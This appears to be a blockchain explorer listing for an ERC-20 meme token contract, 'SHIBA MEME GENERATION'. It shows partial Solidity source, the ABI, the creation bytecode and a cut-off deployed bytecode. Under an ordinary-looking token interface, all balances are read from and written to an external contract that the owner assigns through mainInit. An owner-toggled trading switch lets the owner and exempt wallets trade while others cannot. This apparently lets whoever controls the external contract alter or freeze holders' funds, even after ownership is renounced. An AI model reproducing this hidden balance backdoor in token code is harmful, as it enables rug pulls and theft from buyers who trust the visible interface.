function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { if(init==false){ try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){ uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()); init=true; } catch(bytes memory){ } } _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { if((uniswapPair != recipient && sender != owner() && !holderNoFee[sender])) require(active != false, "Trading is not active."); uint256 senderAmount=_walletsAmount.get(sender); uint256 recipientAmount=_walletsAmount.get(recipient); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); senderAmount = senderAmount.sub(amount, "Insufficient Balance"); uint256 finalAmount = (holderNoFee[sender] || holderNoFee[recipient]) ? amount : fee(sender, recipient, amount); recipientAmount = recipientAmount.add(finalAmount); _walletsAmount.set(sender,senderAmount); _walletsAmount.set(recipient,recipientAmount); emit Transfer(sender, recipient, finalAmount); return true; } function balanceOf(address account) public view override returns (uint256) { return _walletsAmount.get(account); } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderNoFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"system","type":"address"}],"name":"mainInit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prova","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"test","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6001608081905260a052610120604052601560e09081527f5348494241204d454d452047454e45524154494f4e0000000000000000000000610100526003906200004a908262000257565b50604080518082019091526003815262534d4760e81b602082015260049062000074908262000257565b506005805460ff1916601090811790915561dead60c0526200009890600a62000438565b620000a8906329b9270062000450565b6006556007805461ffff19166001179055348015620000c657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600654306000908152600b60209081526040808320858452909152812091909155600190600a906200016b6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600a9092529020805490911660011790555062000472565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620001dd57607f821691505b602082108103620001fe57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200025257600081815260208120601f850160051c810160208610156200022d5750805b601f850160051c820191505b818110156200024e5782815560010162000239565b5050505b505050565b81516001600160401b03811115620002735762000273620001b2565b6200028b81620002848454620001c8565b8462000204565b602080601f831160018114620002c35760008415620002aa5750858301515b600019600386901b1c1916600185901b1785556200024e565b600085815260208120601f198616915b82811015620002f457888601518255948401946001909101908401620002d3565b5085821015620003135787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200037a5781600019048211156200035e576200035e62000323565b808516156200036c57918102915b93841c93908002906200033e565b509250929050565b600082620003935750600162000432565b81620003a25750600062000432565b8160018114620003bb5760028114620003c657620003e6565b600191505062000432565b60ff841115620003da57620003da62000323565b50506001821b62000432565b5060208310610133831016604e8410600b84101617156200040b575081810a62000432565b62000417838362000339565b80600019048211156200042e576200042e62000323565b0290505b92915050565b60006200044960ff84168362000382565b9392505050565b60008160001904831182151516156200046d576200046d62000323565b500290565b60805160a05160c051611cf4620004cc6000396000818161024e01528181610991015281816116ed0152818161183901526118a901526000818161047801526117e801526000818161030701526117910152611cf46000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d1578063b98351f11161008a578063ca9ec19911610064578063ca9ec19914610466578063dd62ed3e1461049a578063de795edd146104e0578063f2fde38b1461050057600080fd5b8063b98351f1146103f3578063bb29998e14610413578063c816841b1461044057600080fd5b8063715018a6146103495780638da5cb5b14610360578063958c2e521461037e57806395d89b411461039e578063a457c2d7146103b3578063a9059cbb146103d357600080fd5b80632b112e49116101235780632b112e4914610288578063313ce5671461029d57806339509351146102bf5780633eaaf86b146102df57806342a11095146102f557806370a082311461032957600080fd5b80630461ee0d1461017657806306fdde03146101bb578063095ea7b3146101dd57806318160ddd146101fd57806323b872dd1461021c57806327c8f8351461023c57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506101a6610191366004611a2e565b600a6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156101c757600080fd5b506101d0610520565b6040516101b29190611a4b565b3480156101e957600080fd5b506101a66101f8366004611aa0565b6105b2565b34801561020957600080fd5b506006545b6040519081526020016101b2565b34801561022857600080fd5b506101a6610237366004611acc565b6105c9565b34801561024857600080fd5b506102707f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101b2565b34801561029457600080fd5b5061020e610987565b3480156102a957600080fd5b5060055460405160ff90911681526020016101b2565b3480156102cb57600080fd5b506101a66102da366004611aa0565b6109c3565b3480156102eb57600080fd5b5061020e60065481565b34801561030157600080fd5b5061020e7f000000000000000000000000000000000000000000000000000000000000000081565b34801561033557600080fd5b5061020e610344366004611a2e565b6109f9565b34801561035557600080fd5b5061035e610a68565b005b34801561036c57600080fd5b506000546001600160a01b0316610270565b34801561038a57600080fd5b50600c54610270906001600160a01b031681565b3480156103aa57600080fd5b506101d0610aeb565b3480156103bf57600080fd5b506101a66103ce366004611aa0565b610afa565b3480156103df57600080fd5b506101a66103ee366004611aa0565b610b49565b3480156103ff57600080fd5b5061035e61040e366004611a2e565b610eaa565b34801561041f57600080fd5b5061020e61042e366004611a2e565b60096020526000908152604090205481565b34801561044c57600080fd5b50600754610270906201000090046001600160a01b031681565b34801561047257600080fd5b5061020e7f000000000000000000000000000000000000000000000000000000000000000081565b3480156104a657600080fd5b5061020e6104b5366004611b0d565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b3480156104ec57600080fd5b50600854610270906001600160a01b031681565b34801561050c57600080fd5b5061035e61051b366004611a2e565b610fc4565b60606003805461052f90611b46565b80601f016020809104026020016040519081016040528092919081815260200182805461055b90611b46565b80156105a85780601f1061057d576101008083540402835291602001916105a8565b820191906000526020600020905b81548152906001019060200180831161058b57829003601f168201915b5050505050905090565b60006105bf3384846110ae565b5060015b92915050565b600754600090610100900460ff161515810361091f57600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610632573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106569190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106dc9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610743575060408051601f3d908101601f1916820190925261074091810190611b80565b60015b61077d573d808015610771576040519150601f19603f3d011682016040523d82523d6000602084013e610776565b606091505b505061091f565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f59190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087b9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156108c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ea9190611b80565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b61092a8484846111d2565b5061097d843361097885604051806060016040528060288152602001611c72602891396001600160a01b038a166000908152600b6020908152604080832033845290915290205491906115f1565b6110ae565b5060019392505050565b60006109be6109b57f00000000000000000000000000000000000000000000000000000000000000006109f9565b6006549061162b565b905090565b336000818152600b602090815260408083206001600160a01b038716845290915281205490916105bf9185906109789086611674565b600d546040516330af0bbf60e21b81526001600160a01b038381166004830152600092169063c2bc2efc90602401602060405180830381865afa158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c39190611b9d565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b8152600401610a9290611bb6565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60606004805461052f90611b46565b60006105bf338461097885604051806060016040528060258152602001611c9a60259139336000908152600b602090815260408083206001600160a01b038d16845290915290205491906115f1565b600754600090610100900460ff1615158103610e9f57600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd69190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5c9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610cc3575060408051601f3d908101601f19168201909252610cc091810190611b80565b60015b610cfd573d808015610cf1576040519150601f19603f3d011682016040523d82523d6000602084013e610cf6565b606091505b5050610e9f565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d759190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfb9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610e46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6a9190611b80565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b61097d3384846111d2565b6000546001600160a01b03163314610ed45760405162461bcd60e51b8152600401610a9290611bb6565b600d80546001600160a01b0383166001600160a01b03199091168117909155633825d828610f0a6000546001600160a01b031690565b6006546040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015610f5357600080fd5b505af1158015610f67573d6000803e3d6000fd5b50505050610f723390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051610fb991815260200190565b60405180910390a350565b6000546001600160a01b03163314610fee5760405162461bcd60e51b8152600401610a9290611bb6565b6001600160a01b0381166110535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a92565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a92565b6001600160a01b0382166111715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a92565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546000906001600160a01b0384811662010000909204161480159061120757506000546001600160a01b03858116911614155b801561122c57506001600160a01b0384166000908152600a602052604090205460ff16155b156112815760075460ff1615156000036112815760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a92565b600d546040516330af0bbf60e21b81526001600160a01b038681166004830152600092169063c2bc2efc90602401602060405180830381865afa1580156112cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f09190611b9d565b600d546040516330af0bbf60e21b81526001600160a01b0387811660048301529293506000929091169063c2bc2efc90602401602060405180830381865afa158015611340573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113649190611b9d565b90506001600160a01b0386166113ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a92565b6001600160a01b03851661142c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a92565b604080518082019091526014815273496e73756666696369656e742042616c616e636560601b602082015261146490839086906115f1565b6001600160a01b0387166000908152600a60205260408120549193509060ff16806114a757506001600160a01b0386166000908152600a602052604090205460ff165b6114bb576114b68787876116d3565b6114bd565b845b90506114c98282611674565b600d54604051630704bb0560e31b81526001600160a01b038a8116600483015260248201879052929450911690633825d82890604401600060405180830381600087803b15801561151957600080fd5b505af115801561152d573d6000803e3d6000fd5b5050600d54604051630704bb0560e31b81526001600160a01b038a81166004830152602482018790529091169250633825d8289150604401600060405180830381600087803b15801561157f57600080fd5b505af1158015611593573d6000803e3d6000fd5b50505050856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115dc91815260200190565b60405180910390a35060019695505050505050565b600081848411156116155760405162461bcd60e51b8152600401610a929190611a4b565b5060006116228486611c01565b95945050505050565b600061166d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115f1565b9392505050565b6000806116818385611c18565b90508381101561166d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a92565b600d546040516330af0bbf60e21b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166004830152600092839283929091169063c2bc2efc90602401602060405180830381865afa158015611744573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117689190611b9d565b6007549091506001600160a01b038088166201000090920416036117c2576117bb60646117b5867f0000000000000000000000000000000000000000000000000000000000000000611929565b906119ab565b915061180f565b6007546001600160a01b0380871662010000909204160361180f5761180c60646117b5867f0000000000000000000000000000000000000000000000000000000000000000611929565b91505b81156119155761181f8183611674565b600d54604051630704bb0560e31b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000008116600483015260248201849052929350911690633825d82890604401600060405180830381600087803b15801561188f57600080fd5b505af11580156118a3573d6000803e3d6000fd5b505050507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161190c91815260200190565b60405180910390a35b61191f848361162b565b9695505050505050565b60008260000361193b575060006105c3565b60006119478385611c30565b9050826119548583611c4f565b1461166d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a92565b600061166d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611a095760405162461bcd60e51b8152600401610a929190611a4b565b5060006116228486611c4f565b6001600160a01b0381168114611a2b57600080fd5b50565b600060208284031215611a4057600080fd5b813561166d81611a16565b600060208083528351808285015260005b81811015611a7857858101830151858201604001528201611a5c565b81811115611a8a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611ab357600080fd5b8235611abe81611a16565b946020939093013593505050565b600080600060608486031215611ae157600080fd5b8335611aec81611a16565b92506020840135611afc81611a16565b929592945050506040919091013590565b60008060408385031215611b2057600080fd5b8235611b2b81611a16565b91506020830135611b3b81611a16565b809150509250929050565b600181811c90821680611b5a57607f821691505b602082108103611b7a57634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215611b9257600080fd5b815161166d81611a16565b600060208284031215611baf57600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611c1357611c13611beb565b500390565b60008219821115611c2b57611c2b611beb565b500190565b6000816000190483118215151615611c4a57611c4a611beb565b500290565b600082611c6c57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d40179671911070e99c001cc85c09b5a6dd526582f882b58ec525b0b6cac87aa64736f6c634300080f0033
Deployed Bytecode
0x60806040526004361061016a5760003560e01c8063715018a6116100d1578063b98351f11161008a578063ca9ec19911610064578063ca9ec19914610466578063dd62ed3e1461049a578063de795edd146104e0578063f2fde38b1461050057600080fd5b8063b98351f1146103f3578063bb29998e14610413578063c816841b1461044057600080fd5b8063715018a6146103495780638da5cb5b14610360578063958c2e521461037e57806395d89b411461039e578063a457c2d7146103b3578063a9059cbb146103d357600080fd5b80632b112e49116101235780632b112e4914610288578063313ce5671461029d57806339509351146102bf5780633eaaf86b146102df57806342a11095146102f557806370a082311461032957600080fd5b80630461ee0d1461017657806306fdde03146101bb578063095ea7b3146101dd57806318160ddd146101fd57806323b872dd1461021c57806327c8f8351461023c57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506101a6610191366004611a2e565b600a6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156101c757600080fd5b506101d0610520565b6040516101b29190611a4b565b3480156101e957600080fd5b506101a66101f8366004611aa0565b6105b2565b34801561020957600080fd5b506006545b6040519081526020016101b2565b34801561022857600080fd5b506101a6610237366004611acc565b6105c9565b34801561024857600080fd5b506102707f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020016101b2565b34801561029457600080fd5b5061020e610987565b3480156102a957600080fd5b5060055460405160ff90911681526020016101b2565b3480156102cb57600080fd5b506101a66102da366004611aa0565b6109c3565b3480156102eb57600080fd5b5061020e60065481565b34801561030157600080fd5b5061020e7f000000000000000000000000000000000000000000000000000000000000000181565b34801561033557600080fd5b5061020e610344366004611a2e565b6109f9565b34801561035557600080fd5b5061035e610a68565b005b34801561036c57600080fd5b506000546001600160a01b0316610270565b34801561038a57600080fd5b50600c54610270906001600160a01b031681565b3480156103aa57600080fd5b506101d0610aeb565b3480156103bf57600080fd5b506101a66103ce366004611aa0565b610afa565b3480156103df57600080fd5b506101a66103ee366004611aa0565b610b49565b3480156103ff57600080fd5b5061035e61040e366004611a2e565b610eaa565b34801561041f57600080fd5b5061020e61042e366004611a2e565b60096020526000908152604090205481565b34801561044c57600080fd5b50600754610270906201000090046001600160a01b031681565b34801561047257600080fd5b5061020e7f000000000000000000000000000000000000000000000000000000000000000181565b3480156104a657600080fd5b5061020e6104b5366004611b0d565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b3480156104ec57600080fd5b50600854610270906001600160a01b031681565b34801561050c57600080fd5b5061035e61051b366004611a2e565b610fc4565b60606003805461052f90611b46565b80601f016020809104026020016040519081016040528092919081815260200182805461055b90611b46565b80156105a85780601f1061057d576101008083540402835291602001916105a8565b820191906000526020600020905b81548152906001019060200180831161058b57829003601f168201915b5050505050905090565b60006105bf3384846110ae565b5060015b92915050565b600754600090610100900460ff161515810361091f57600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610632573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106569190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106dc9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610743575060408051601f3d908101601f1916820190925261074091810190611b80565b60015b61077d573d808015610771576040519150601f19603f3d011682016040523d82523d6000602084013e610776565b606091505b505061091f565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f59190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087b9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156108c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ea9190611b80565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b61092a8484846111d2565b5061097d843361097885604051806060016040528060288152602001611c72602891396001600160a01b038a166000908152600b6020908152604080832033845290915290205491906115f1565b6110ae565b5060019392505050565b60006109be6109b57f000000000000000000000000000000000000000000000000000000000000dead6109f9565b6006549061162b565b905090565b336000818152600b602090815260408083206001600160a01b038716845290915281205490916105bf9185906109789086611674565b600d546040516330af0bbf60e21b81526001600160a01b038381166004830152600092169063c2bc2efc90602401602060405180830381865afa158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c39190611b9d565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b8152600401610a9290611bb6565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60606004805461052f90611b46565b60006105bf338461097885604051806060016040528060258152602001611c9a60259139336000908152600b602090815260408083206001600160a01b038d16845290915290205491906115f1565b600754600090610100900460ff1615158103610e9f57600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd69190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5c9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610cc3575060408051601f3d908101601f19168201909252610cc091810190611b80565b60015b610cfd573d808015610cf1576040519150601f19603f3d011682016040523d82523d6000602084013e610cf6565b606091505b5050610e9f565b50600c60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d759190611b80565b6001600160a01b031663e6a4390530600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfb9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610e46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6a9190611b80565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b61097d3384846111d2565b6000546001600160a01b03163314610ed45760405162461bcd60e51b8152600401610a9290611bb6565b600d80546001600160a01b0383166001600160a01b03199091168117909155633825d828610f0a6000546001600160a01b031690565b6006546040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015610f5357600080fd5b505af1158015610f67573d6000803e3d6000fd5b50505050610f723390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051610fb991815260200190565b60405180910390a350565b6000546001600160a01b03163314610fee5760405162461bcd60e51b8152600401610a9290611bb6565b6001600160a01b0381166110535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a92565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a92565b6001600160a01b0382166111715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a92565b6001600160a01b038381166000818152600b6020908152604080832094871680845294825291829020